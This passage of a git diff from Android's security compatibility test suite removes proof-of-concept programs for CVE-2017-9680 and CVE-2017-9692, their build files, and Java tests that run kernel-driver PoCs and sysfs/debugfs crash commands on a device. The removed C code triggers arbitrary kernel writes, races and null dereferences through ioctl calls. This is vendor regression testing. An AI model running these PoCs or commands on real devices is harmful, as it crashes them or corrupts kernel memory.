-  uint32_t y;
-  uint32_t w;
-  uint32_t h;
-};
-
-typedef unsigned int u32;
-
-typedef u32 compat_caddr_t;
-
-struct mdp_layer_commit_v1_32 {
-  uint32_t flags;
-  int release_fence;
-  struct mdp_rect left_roi;
-  struct mdp_rect right_roi;
-  compat_caddr_t input_layers;
-  uint32_t input_layer_cnt;
-  compat_caddr_t output_layer;
-  int retire_fence;
-  uint32_t reserved[6];
-};
-
-struct mdp_layer_commit32 {
-  uint32_t version;
-  union {
-    struct mdp_layer_commit_v1_32 commit_v1;
-  };
-};
-
-int main() {
-  int fd;
-  int ret;
-  struct mdp_layer_commit32 mlc;
-
-  memset(&mlc, 0, sizeof(struct mdp_layer_commit32));
-
-  fd = open("/dev/graphics/fb0", O_RDWR);
-
-  if (fd < 0) {
-    return -1;
-  }
-
-  ret = ioctl(fd, MSMFB_ATOMIC_COMMIT, &mlc);
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
deleted file mode 100644
index 59da1a7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project

-#

-# Licensed under the Apache License, Version 2.0 (the "License");

-# you may not use this file except in compliance with the License.

-# You may obtain a copy of the License at

-#

-#      http://www.apache.org/licenses/LICENSE-2.0

-#

-# Unless required by applicable law or agreed to in writing, software

-# distributed under the License is distributed on an "AS IS" BASIS,

-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-# See the License for the specific language governing permissions and

-# limitations under the License.

-

-LOCAL_PATH := $(call my-dir)

-

-include $(CLEAR_VARS)

-LOCAL_MODULE := CVE-2017-9680

-LOCAL_SRC_FILES := poc.c

-LOCAL_MULTILIB := both

-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

-

-# Tag this module as a cts test artifact

-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests

-LOCAL_CTS_TEST_PACKAGE := android.security.cts

-

-LOCAL_ARM_MODE := arm

-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

-CFLAGS += -Iinclude -fPIE

-LOCAL_LDFLAGS += -fPIE -pie

-LDFLAGS += -rdynamic

-include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
deleted file mode 100644
index 3d2835a..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
+++ /dev/null
@@ -1,267 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-static const char *dev = "/dev/qbt1000";
-
-#define QBT1000_SNS_SERVICE_ID 0x138
-#define QBT1000_SNS_SERVICE_VER_ID 1
-#define QBT1000_SNS_INSTANCE_INST_ID 0
-
-#define SNS_QFP_OPEN_RESP_V01 0x0020
-
-#define QMI_REQUEST_CONTROL_FLAG 0x00
-#define QMI_RESPONSE_CONTROL_FLAG 0x02
-#define QMI_INDICATION_CONTROL_FLAG 0x04
-#define QMI_HEADER_SIZE 7
-
-#define OPTIONAL_TLV_TYPE_START 0x10
-
-enum elem_type {
-  QMI_OPT_FLAG = 1,
-  QMI_DATA_LEN,
-  QMI_UNSIGNED_1_BYTE,
-  QMI_UNSIGNED_2_BYTE,
-  QMI_UNSIGNED_4_BYTE,
-  QMI_UNSIGNED_8_BYTE,
-  QMI_SIGNED_2_BYTE_ENUM,
-  QMI_SIGNED_4_BYTE_ENUM,
-  QMI_STRUCT,
-  QMI_STRING,
-  QMI_EOTI,
-};
-
-volatile int cont = 1;
-
-struct qmi_header {
-  unsigned char cntl_flag;
-  uint16_t txn_id;
-  uint16_t msg_id;
-  uint16_t msg_len;
-} __attribute__((__packed__));
-
-struct qseecom_handle {
-  void *dev;
-  unsigned char *sbuf;
-  uint32_t sbuf_len;
-};
-
-enum qbt1000_commands {
-  QBT1000_LOAD_APP = 100,
-  QBT1000_UNLOAD_APP = 101,
-  QBT1000_SEND_TZCMD = 102
-};
-
-struct qbt1000_app {
-  struct qseecom_handle **app_handle;
-  char name[32];
-  uint32_t size;
-  uint8_t high_band_width;
-};
-
-struct qbt1000_send_tz_cmd {
-  struct qseecom_handle *app_handle;
-  uint8_t *req_buf;
-  uint32_t req_buf_len;
-  uint8_t *rsp_buf;
-  uint32_t rsp_buf_len;
-};
-
-struct msm_ipc_port_addr {
-  uint32_t node_id;
-  uint32_t port_id;
-};
-
-struct msm_ipc_port_name {
-  uint32_t service;
-  uint32_t instance;
-};
-
-struct msm_ipc_addr {
-  unsigned char addrtype;
-  union {
-    struct msm_ipc_port_addr port_addr;
-    struct msm_ipc_port_name port_name;
-  } addr;
-};
-
-#define AF_MSM_IPC 27
-
-#define PF_MSM_IPCAF_MSM_IPC
-
-#define MSM_IPC_ADDR_NAME 1
-#define MSM_IPC_ADDR_ID 2
-
-struct sockaddr_msm_ipc {
-  unsigned short family;
-  struct msm_ipc_addr address;
-  unsigned char reserved;
-};
-
-struct qbt1000_app app = {0};
-
-static int get_fd(const char *dev_node) {
-  int fd;
-  fd = open(dev_node, O_RDWR);
-  if (fd < 0) {
-    cont = 0;
-    exit(EXIT_FAILURE);
-  }
-
-  return fd;
-}
-
-static void leak_heap_ptr(int fd) {
-  void *addr = NULL;
-  app.app_handle = (void *)&addr;
-  app.size = 32;
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_load_app(int fd) {
-  struct qbt1000_app app = {0};
-
-  app.app_handle = (void *)0xABADACCE55013337;
-  ioctl(fd, QBT1000_LOAD_APP, &app);
-}
-
-static void arb_kernel_write_send_tzcmd(int fd) {
-  struct qseecom_handle hdl = {0};
-  struct qbt1000_send_tz_cmd cmd = {0};
-  int x = 0;
-
-  hdl.sbuf = (void *)0xffffffc0017b1b84;
-  cmd.app_handle = &hdl;
-  cmd.req_buf = &x;
-  cmd.rsp_buf = NULL;
-  cmd.req_buf_len = cmd.rsp_buf_len = 4;
-
-  ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
-}
-
-static void print_msg(char *msg) {
-  int i;
-  for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
-  printf("\n");
-}
-
-static void recv_msgs(int fd) {
-  struct msghdr msg = {0};
-  struct iovec io = {0};
-  struct sockaddr_msm_ipc addr = {0};
-  struct msm_ipc_addr address = {0};
-  uint8_t *ptr;
-  struct qmi_header *hdr;
-  int count = 1;
-
-  io.iov_base = malloc(4096);
-  memset(io.iov_base, 0, 4096);
-  io.iov_len = 4096;
-
-  msg.msg_iovlen = 1;
-  msg.msg_iov = &io;
-  msg.msg_name = &addr;
-  msg.msg_namelen = sizeof(addr);
-
-  while (cont) {
-    recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-    memset(io.iov_base, 0, 128);
-    hdr = io.iov_base;
-
-    hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
-    hdr->txn_id = count++;
-    hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
-    hdr->msg_len = 3;
-
-    ptr = io.iov_base + sizeof(*hdr);
-
-    *ptr = OPTIONAL_TLV_TYPE_START;
-    ptr++;
-    *ptr = 0;
-    ptr++;
-    *ptr = 0;
-    sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
-  }
-}
-
-#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
-static void setup_ipc_server(void) {
-  int fd;
-  struct sockaddr_msm_ipc addr = {0};
-  fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
-
-  if (fd < 0) {
-    printf("Couldn't open socket %s\n", strerror(errno));
-    exit(EXIT_FAILURE);
-  }
-
-  addr.family = AF_MSM_IPC;
-  addr.address.addrtype = MSM_IPC_ADDR_NAME;
-  addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
-  addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
-      QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
-
-  bind(fd, (struct sockaddr *)&addr, sizeof(addr));
-  recv_msgs(fd);
-}
-
-static void *leak_ptr(void *ignore) {
-  void *save;
-  while (cont) {
-    if (app.app_handle != NULL) {
-      save = *app.app_handle;
-      if (save != NULL) {
-        break;
-      }
-    }
-  }
-  return (void *)NULL;
-}
-
-static void *do_ipc_crap(void *ignore) {
-  setup_ipc_server();
-  return (void *)NULL;
-}
-
-int main(void) {
-  int fd;
-
-  pthread_t race_car;
-  pthread_t race_car1;
-  pthread_create(&race_car, NULL, do_ipc_crap, NULL);
-  usleep(50000);
-
-  fd = get_fd(dev);
-
-  for (;;) {
-    int err = ioctl(fd, 0, (unsigned long)-4095);
-
-    usleep(5000);
-  }
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
deleted file mode 100644
index c6a7471..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-9692
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
deleted file mode 100644
index 7b4de81..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/poc.c
+++ /dev/null
@@ -1,209 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/types.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-#ifndef __KERNEL__
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#endif
-
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOR_BAD(type, nr, size) _IOC(_IOC_READ, (type), (nr), sizeof(size))
-#define _IOW_BAD(type, nr, size) _IOC(_IOC_WRITE, (type), (nr), sizeof(size))
-#define _IOWR_BAD(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), sizeof(size))
-
-#define MDP_IOCTL_MAGIC 'S'
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-#define MDP_COMMIT_VERSION_1_0 0x00010000
-#define MDP_VALIDATE_LAYER 0x01
-
-#ifdef __LP64
-#define MDP_LAYER_COMMIT_V1_PAD 3
-#else
-#define MDP_LAYER_COMMIT_V1_PAD 4
-#endif
-
-#define MAX_PLANES 4
-
-struct mult_factor {
-  uint32_t numer;
-  uint32_t denom;
-};
-
-enum mdp_color_space {
-  MDP_CSC_ITU_R_601,
-  MDP_CSC_ITU_R_601_FR,
-  MDP_CSC_ITU_R_709,
-};
-
-enum mdss_mdp_blend_op {
-  BLEND_OP_NOT_DEFINED = 0,
-  BLEND_OP_OPAQUE,
-  BLEND_OP_PREMULTIPLIED,
-  BLEND_OP_COVERAGE,
-  BLEND_OP_MAX,
-};
-
-struct mdp_rect {
-  uint32_t x;
-  uint32_t y;
-  uint32_t w;
-  uint32_t h;
-};
-
-struct mdp_layer_plane {
-  int fd;
-  uint32_t offset;
-  uint32_t stride;
-};
-
-struct mdp_layer_commit_v1 {
-  uint32_t flags;
-  int release_fence;
-  struct mdp_rect left_roi;
-  struct mdp_rect right_roi;
-  struct mdp_input_layer __user *input_layers;
-  uint32_t input_layer_cnt;
-  struct mdp_output_layer __user *output_layer;
-  int retire_fence;
-  void __user *dest_scaler;
-  uint32_t dest_scaler_cnt;
-  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
-};
-
-struct mdp_layer_commit {
-  uint32_t version;
-  union {
-    struct mdp_layer_commit_v1 commit_v1;
-  };
-};
-
-struct mdp_layer_buffer {
-  uint32_t width;
-  uint32_t height;
-  uint32_t format;
-  struct mdp_layer_plane planes[MAX_PLANES];
-  uint32_t plane_count;
-  struct mult_factor comp_ratio;
-  int fence;
-  uint32_t reserved;
-};
-
-struct mdp_output_layer {
-  uint32_t flags;
-  uint32_t writeback_ndx;
-  struct mdp_layer_buffer buffer;
-  enum mdp_color_space color_space;
-  uint32_t reserved[5];
-};
-
-struct mdp_input_layer {
-  uint32_t flags;
-  uint32_t pipe_ndx;
-  uint8_t horz_deci;
-  uint8_t vert_deci;
-  uint8_t alpha;
-  uint16_t z_order;
-  uint32_t transp_mask;
-  uint32_t bg_color;
-  enum mdss_mdp_blend_op blend_op;
-  enum mdp_color_space color_space;
-  struct mdp_rect src_rect;
-  struct mdp_rect dst_rect;
-  void __user *scale;
-  struct mdp_layer_buffer buffer;
-  void __user *pp_info;
-  int error_code;
-  uint32_t reserved[6];
-};
-
-int main() {
-  int fd;
-  struct mdp_layer_commit commit;
-  struct mdp_output_layer output_layer;
-
-  fd = open("/dev/graphics/fb2", O_RDWR, 0);
-  if (fd < 0) {
-    return -1;
-  }
-
-  memset(&commit, 0, sizeof(struct mdp_layer_commit));
-  commit.version = MDP_COMMIT_VERSION_1_0;
-
-  memset(&output_layer, 0, sizeof(output_layer));
-  commit.commit_v1.output_layer = (struct mdp_output_layer *)NULL;
-  commit.commit_v1.flags |= MDP_VALIDATE_LAYER;
-  ioctl(fd, MSMFB_ATOMIC_COMMIT, &commit);
-
-  return 0;
-}
diff --git a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
index b5a456c..af0bd05 100644
--- a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
@@ -15,6 +15,7 @@
  */
 package android.security.cts;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.CpuFeatures;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.device.CollectingOutputReceiver;
@@ -115,10 +116,12 @@
         }
     }
 
+    @CddTest(requirement="9.7/C-0-6")
     public void testMediaextractorHasSeccompFilter() throws DeviceNotAvailableException {
         assertSeccompFilter("media.extractor", PS_CMD, false);
     }
 
+    @CddTest(requirement="9.7/C-0-6")
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
         assertSeccompFilter("media.codec", PS_CMD, false);
     }
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
deleted file mode 100644
index 7e24e8f..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ /dev/null
@@ -1,259 +0,0 @@
-/**
-0;256;0c * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import android.platform.test.annotations.RootPermissionTest;
-import android.platform.test.annotations.SecurityTest;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Scanner;
-
-@SecurityTest
-public class Poc16_12 extends SecurityTestCase {
-
-    //Criticals
-    /**
-     *  b/31606947
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8424() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31797770
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8425() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799206
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8426() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31799885
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8427() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
-              containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
-            AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31993456
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8428() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32160775
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32225180
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8430() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
-            AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32402179
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8431() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32447738
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8432() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32125137
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8434() throws Exception {
-        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            // This poc is very verbose so we ignore the output to avoid using a lot of memory.
-            AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32700935
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8435() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31568617
-     */
-    @SecurityTest
-    public void testPocCVE_2016_9120() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ion")) {
-            AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
-        }
-    }
-
-    //Highs
-    /**
-     *  b/31225246
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8412() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
-            AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31243641
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8444() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
-            AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31791148
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8448() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
-            AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31798848
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8449() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
-            AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31668540
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8460() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
-            assertTrue(!result.equals("Vulnerable"));
-        }
-    }
-
-    /**
-     *  b/32402548
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0403() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
-    }
-
-    /**
-     *  b/32510733
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0404() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/proc/asound/version")) {
-            AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32178033
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8451() throws Exception {
-        enableAdbRoot(getDevice());
-        String command =
-            "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-
-    /**
-     *  b/32659848
-     */
-    @SecurityTest
-    public void testPoc32659848() throws Exception {
-        String command =
-            "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
deleted file mode 100644
index 18bfb16..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc17_01 extends SecurityTestCase {
-
-    /**
-     *  b/31799863
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8482() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvmap")) {
-            AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32636619
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32219121
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8455() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
-    }
-
-   /**
-     *  b/32219255
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8456() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
-        // CTS begins the next test before device finishes rebooting,
-        // sleep to allow time for device to reboot.
-        Thread.sleep(60000);
-    }
-
-   /**
-     *  b/32219453
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8457() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
-        // Device takes up to 60 seconds to crash after PoC run.
-        Thread.sleep(60000);
-    }
- }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_02.java b/hostsidetests/security/src/android/security/cts/Poc17_02.java
deleted file mode 100644
index 4228d16..0000000
--- a/hostsidetests/security/src/android/security/cts/Poc17_02.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import java.util.concurrent.TimeUnit;
-
-@SecurityTest
-public class Poc17_02 extends SecurityTestCase {
-    /**
-     *  b/31796345
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0451() throws Exception {
-	enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/voice_svc")) {
-            AdbUtils.runPoc("CVE-2017-0451", getDevice(), 60);
-        }
-    }
